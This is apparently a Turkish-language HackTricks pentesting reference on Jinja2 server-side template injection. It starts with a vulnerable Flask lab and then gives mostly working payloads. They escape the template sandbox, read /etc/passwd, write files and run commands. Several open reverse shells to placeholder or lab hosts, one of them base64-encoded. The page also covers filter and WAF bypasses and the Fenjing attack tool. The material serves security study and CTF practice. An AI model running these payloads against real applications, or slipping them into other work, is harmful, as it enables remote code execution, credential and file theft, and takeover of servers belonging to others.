15 KiB
Jinja2 SSTI
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Laboratuvar
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Çeşitli
Hata Ayıklama İfadesi
Eğer Hata Ayıklama Eklentisi etkinse, mevcut bağlamı ve mevcut filtreleri ve testleri dökmek için bir debug
etiketi kullanılabilir. Bu, bir hata ayıklayıcı kurmadan şablonda kullanılabilecekleri görmek için faydalıdır.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
Tüm yapılandırma değişkenlerini dök
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Jinja Injection
Öncelikle, bir Jinja enjeksiyonunda sandbox'tan kaçmanın bir yolunu bulmanız ve normal python yürütme akışına erişimi geri kazanmanız gerekiyor. Bunu yapmak için, sandbox'tan erişilebilir ancak sandbox dışı ortamdan gelen nesneleri istismar etmeniz gerekiyor.
Global Nesnelere Erişim
Örneğin, render_template("hello.html", username=username, email=email)
kodunda username ve email nesneleri sandbox dışı python ortamından gelir ve sandboxlı ortamda erişilebilir olacaktır.
Ayrıca, sandboxlı ortamdan her zaman erişilebilir olacak başka nesneler de vardır, bunlar:
[]
''
()
dict
config
request
Recovering <class 'object'>
Sonra, bu nesnelerden <class 'object'>
sınıfına ulaşmamız gerekiyor, böylece tanımlı sınıfları recover etmeye çalışabiliriz. Bunun nedeni, bu nesneden __subclasses__
metodunu çağırarak sandbox dışındaki python ortamındaki tüm sınıflara erişebilmemizdir.
Bu nesne sınıfına erişmek için, önce bir sınıf nesnesine erişmeniz ve ardından ya __base__
, __mro__()[-1]
ya da .
mro()[-1]
ile erişmeniz gerekiyor. Ve sonra, bu nesne sınıfına ulaştıktan sonra __subclasses__()
metodunu çağırıyoruz.
Bu örneklere göz atın:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
RCE Kaçışı
Kurtarıldıktan sonra <class 'object'>
ve __subclasses__
çağrıldıktan sonra, artık bu sınıfları dosya okumak ve yazmak ve kod çalıştırmak için kullanabiliriz.
__subclasses__
çağrısı, yüzlerce yeni işleve erişim sağladı, dosya sınıfına erişerek dosya okumak/yazmak veya komut çalıştırmaya izin veren (örneğin os
) herhangi bir sınıfa erişerek mutlu olacağız.
Uzak dosyayı oku/yaz
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
Daha fazla sınıf öğrenmek için kaçış yapabileceğiniz şunlara göz atabilirsiniz:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Filtre atlamaları
Yaygın atlamalar
Bu atlamalar, bazı karakterler kullanmadan nesnelerin niteliklerine erişmemizi sağlayacaktır.
Daha önceki örneklerde bu atlamalardan bazılarını zaten gördük, ancak burada özetleyelim:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- Daha fazla seçenek için buraya dönün, global bir nesneye erişim
- Daha fazla seçenek için buraya dönün, nesne sınıfına erişim
- Nesne sınıfı olmadan RCE elde etmek için bunu okuyun
HTML kodlamasından kaçınma
Varsayılan olarak Flask, güvenlik nedenleriyle bir şablondaki her şeyi HTML olarak kodlar:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
safe
filtresi, JavaScript ve HTML'i sayfaya HTML kodlaması olmadan enjekte etmemize olanak tanır, şöyle:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
Kötü bir yapılandırma dosyası yazarak RCE.
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Birkaç karakter olmadan
{{
.
[
]
}}
_
olmadan
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Jinja Enjeksiyonu <class 'object'> Olmadan
Küresel nesneler kısmından, o sınıfı kullanmadan RCE'ye ulaşmanın başka bir yolu vardır.
Eğer bu küresel nesnelerden herhangi bir fonksiyona ulaşmayı başarırsanız, __globals__.__builtins__
'e erişebileceksiniz ve buradan RCE çok basit olacaktır.
Erişim sağladığınız request
, config
ve diğer ilginç küresel nesnelerden fonksiyonları bulabilirsiniz:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Biraz işlev bulduktan sonra, yerleşik işlevleri şu şekilde geri alabilirsiniz:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjing https://github.com/Marven11/Fenjing CTF'ler için özel olarak tasarlanmış bir araçtır, ancak gerçek senaryolarda geçersiz parametreleri brute force yapmak için de faydalı olabilir. Araç, filtreleri tespit etmek, bypass aramak için kelimeleri ve sorguları yayar ve ayrıca etkileşimli bir konsol sağlar.
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
Referanslar
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- Burada kara listeye alınmış karakterleri atlamak için attr trick'i kontrol edin.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'ı takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.